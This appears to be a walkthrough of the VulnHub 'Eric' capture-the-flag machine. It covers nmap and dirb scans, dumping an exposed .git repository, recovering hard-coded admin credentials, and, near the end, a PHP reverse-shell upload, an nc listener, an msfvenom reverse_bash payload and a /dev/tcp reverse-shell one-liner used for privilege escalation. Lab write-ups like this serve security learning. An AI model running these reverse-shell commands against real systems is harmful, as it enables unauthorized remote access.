Initial recon
i ran an nmap scan with save scripts and save the results to a file
“nmap -Sc -Sv 192.168.56.101 -oA Eric”
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d3:79:15:3d:11:4c:af:26:6c:b2:af:6a:0b:99:14:fd (RSA)
| 256 87:48:76:38:81:c2:a0:50:cd:4c:39:c0:7c:7a:07:40 (ECDSA)
|_ 256 8e:b9:dd:8d:14:9b:e3:63:1d:d7:0e:54:98:8d:29:5b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-git:
| 192.168.56.101:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the…
|_ Last commit message: minor changes
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Blog under construction
MAC Address: 08:00:27:3C:5F:C1 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
the open ports are 22 which is ssh and port 80 which is a web server.
Webserver Enumeration
runing dirb on the webserver to see if there are any interesting directories
START_TIME: Tue Oct 22 15:54:14 2019
URL_BASE: http://192.168.56.101/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
GENERATED WORDS: 4612
—- Scanning URL: http://192.168.56.101/ —-
- http://192.168.56.101/.git/HEAD (CODE:200|SIZE:23)
- http://192.168.56.101/admin.php (CODE:200|SIZE:306)
- http://192.168.56.101/index.php (CODE:200|SIZE:281)
- http://192.168.56.101/server-status (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.56.101/upload/
—- Entering directory: http://192.168.56.101/upload/ —-
END_TIME: Tue Oct 22 15:54:22 2019
DOWNLOADED: 9224 – FOUND: 4
There us an admin page here.
tried the creds admin:admin admin:password1. with no luck
Exploring the Git Repo
on the webserver there is also a git repo. there might be some config files with passwords so this might be worth a look.
by using GitTools we are able to pull down the repository
root@kali:~/GitTools/Dumper# ./gitdumper.sh http://192.168.56.101/.git/
~/Documents/VulnHub/Eric/
GitDumper is part of https://github.com/internetwache/GitTools
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stashs
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[+] Downloaded: objects/3d/b5628b550f5c9c9f6f663cd158374035a6eaa0
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/cc/1ab96950f56d1fff0d1f006821cab6b6b0e249
[+] Downloaded: objects/a8/9a716b3c21d8f9fee38a0693afb22c75f1d31c
[+] Downloaded: objects/31/33d44be3eebe6c6761b50c6fdf5b7fb664c2d8
[+] Downloaded: objects/3d/8e9ce9093fc391845dd69b0436b258ac4a6387
[+] Downloaded: objects/f0/d95f54335626ce6c96522e0a9105780b3366c5
[+] Downloaded: objects/c0/951efcb330fc310911d714acf03b873aa9ab43
[+] Downloaded: objects/23/448969d5b347f8e91f8017b4d8ef6edf6161d8
[+] Downloaded: objects/e7/ba67226cda1ecc1bd3a2537f0be94343d448bb
Using the extractor which is also part of GitTools we can pull out the files from the downloaded dump
./extractor.sh ~/Documents/VulnHub/Eric/ ~/Documents/VulnHub/Eric/
[+] Found commit: 3db5628b550f5c9c9f6f663cd158374035a6eaa0
[+] Found file: /root/Documents/VulnHub/Eric//0-3db5628b550f5c9c9f6f663
cd158374035a6eaa0/admin.php
[+] Found file: /root/Documents/VulnHub/Eric//0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/index.php
[+] Found commit: a89a716b3c21d8f9fee38a0693afb22c75f1d31c
[+] Found file: /root/Documents/VulnHub/Eric//1-a89a716b3c21d8f9fee38a0693afb22c75f1d31c/admin.php
[+] Found file: /root/Documents/VulnHub/Eric//1-a89a716b3c21d8f9fee38a0693afb22c75f1d31c/index.php
[+] Found commit: cc1ab96950f56d1fff0d1f006821cab6b6b0e249
[+] Found file: /root/Documents/VulnHub/Eric//2-cc1ab96950f56d1fff0d1f006821cab6b6b0e249/index.ph
lets check the admin php files for any hard coded credentials
in the file /root/Documents/VulnHub/Eric//0-3db5628b550f5c9c9f6f663cd158374035a6eaa0/index.php we have the following code :
if ($_POST['submit']) {
if ($_POST['username'] == 'admin' && $_POST['password'] == 'st@mpch0rdt.ightiRu$glo0mappL3') {
$_SESSION['auth'] = 1;
} else {
exit("Wrong username and/or password. Don't even bother bruteforcing.");
}
}
this has a username and password stored in there
admin:st@mpch0rdt.ightiRu$glo0mappL3
this user name has allowed us to log in and we are greeted with a file upload page to
we can use this to upload a reverse php and then set a listener on our loacal machine using nc -lvp 4444 .
to exectue the reversell we need to navigate to the php file which will be in the uploads directory 192.168.56.101/uploads/rev.php
then using simplehttpserver and wget to grap the /linenum.sh file from the local machine,
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.56.101 LPORT=5544 raw > backup.sh
user Flag
89340a83****
echo “0<&83-;exec 83<>/dev/tcp/192.168.56.101/5544;sh <&83 >&83 2>&83" > backup.sh
o “cat /root/flag.txt > /tmp/root.txt”
root Flag
6a347b9****